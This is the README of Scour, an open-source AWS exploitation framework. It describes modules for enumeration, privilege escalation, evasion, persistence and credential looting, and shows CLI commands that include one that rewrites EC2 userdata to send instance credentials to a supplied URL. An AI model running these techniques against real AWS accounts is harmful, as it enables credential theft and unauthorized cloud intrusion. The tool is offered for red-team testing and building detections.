Scour - AWS Exploitation Framework

Scour is a modern module based AWS exploitation framework written in golang, designed for red team testing and blue team analysis. Scour contains modern techniques that can be used to attack environments or build detections for defense.

Features

Command Completion Dynamic resource listing Command history Blue team mode (tags attacks with unique User Agent)

Installation

Scour is written in golang so its easy to ship around as a binary.

##Gettable

go get github.com/grines/scour

##Build

go build main.go

For a more detailed and user-friendly set of user instructions, please check out the Wiki's installation guide. **coming soon

Scour's Modules

Scour uses a range modules:

Operations (2) Enumeration (7) Privilege Escalation (3) Lateral Movement (2) Evasion (5) Credential Discovery (4) Execution (2) Persistance (7) Exfiltration (1)

Notes

Scour is supported on all Linux/OSX. Scour is Open-Source Software and is distributed with a BSD-3-Clause License.

Getting Started

The first time Scour is launched,

Basic Commands in Scour

token profile <profile_name> <region> will list the available aws profiels stored in ~/aws/credentials. token AssumeRole <role_name> <region> will assume role from same or cross account. ** requires active session help module will return the applicable help information for the specified module. **help TBD attack evasion <tactic> will run the specified module with its default parameters.

Running Scour From the command line

scour will enter cli mode Not Connected <> token profile apiuser us-east-1 sets the session to use for commands that require one Connected <apiuser/us-east-1> actively connected to an aws profile from (~,/aws/credentials) in (region) Connected <apiuser/us-east-1> attack enum <attack> tab completion with list available enumeration tactics Connected <apiuser/us-east-1> attack privesc <attack> tab completion with list available privilege escalation tactics Connected <apiuser/us-east-1> attack lateral <attack> tab completion with list available lateral tactics Connected <apiuser/us-east-1> attack evasion <attack> tab completion with list available evasion tactics Connected <apiuser/us-east-1> attack creds <attack> tab completion with list available credential discovery tactics Connected <apiuser/us-east-1> attack execute <attack> tab completion with list available execution tactics Connected <apiuser/us-east-1> attack persist <attack> tab completion with list available persistance tactics Connected <apiuser/us-east-1> attack exfil <attack> tab completion with list available exfiltration tactics

Enumeration

Connected <apiuser/us-east-1> attack enum IAM IAM discovery Connected <apiuser/us-east-1> attack enum Roles Roles discovery Connected <apiuser/us-east-1> attack enum EC2 EC2 discovery Connected <apiuser/us-east-1> attack enum S3 S3 discovery Connected <apiuser/us-east-1> attack enum Groups Groups discovery Connected <apiuser/us-east-1> attack enum Network Network discovery

PrivilegeEscalation

Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data steal metadata credentials from EC2. Stop instance / Update userdata to post credentials to supplied url / Start instance (sends EC2 token to URL.)

CredentialDiscovery

Connected <apiuser/us-east-1> attack creds UserData loot credentials from EC2 userdata Connected <apiuser/us-east-1> attack creds SSM loot credentials from Systems Manager Connected <apiuser/us-east-1> attack creds ECS loot credentials from ECS

Disclaimers, and the AWS Acceptable Use Policy

To the best of our knowledge Scour's capabilities are compliant with the AWS Acceptable Use Policy, but as a flexible and modular tool, we cannot guarantee this will be true in every situation. It is entirely your responsibility to ensure that how you use Scour is compliant with the AWS Acceptable Use Policy. Depending on what AWS services you use and what your planned testing entails, you may need to request authorization from Amazon before actually running Scour against your infrastructure. Determining whether or not such authorization is necessary is your responsibility. As with any penetration testing tool, it is your responsibility to get proper authorization before using Scour outside of your environment. Scour is software that comes with absolutely no warranties whatsoever. By using Scour, you take full responsibility for any and all outcomes that result.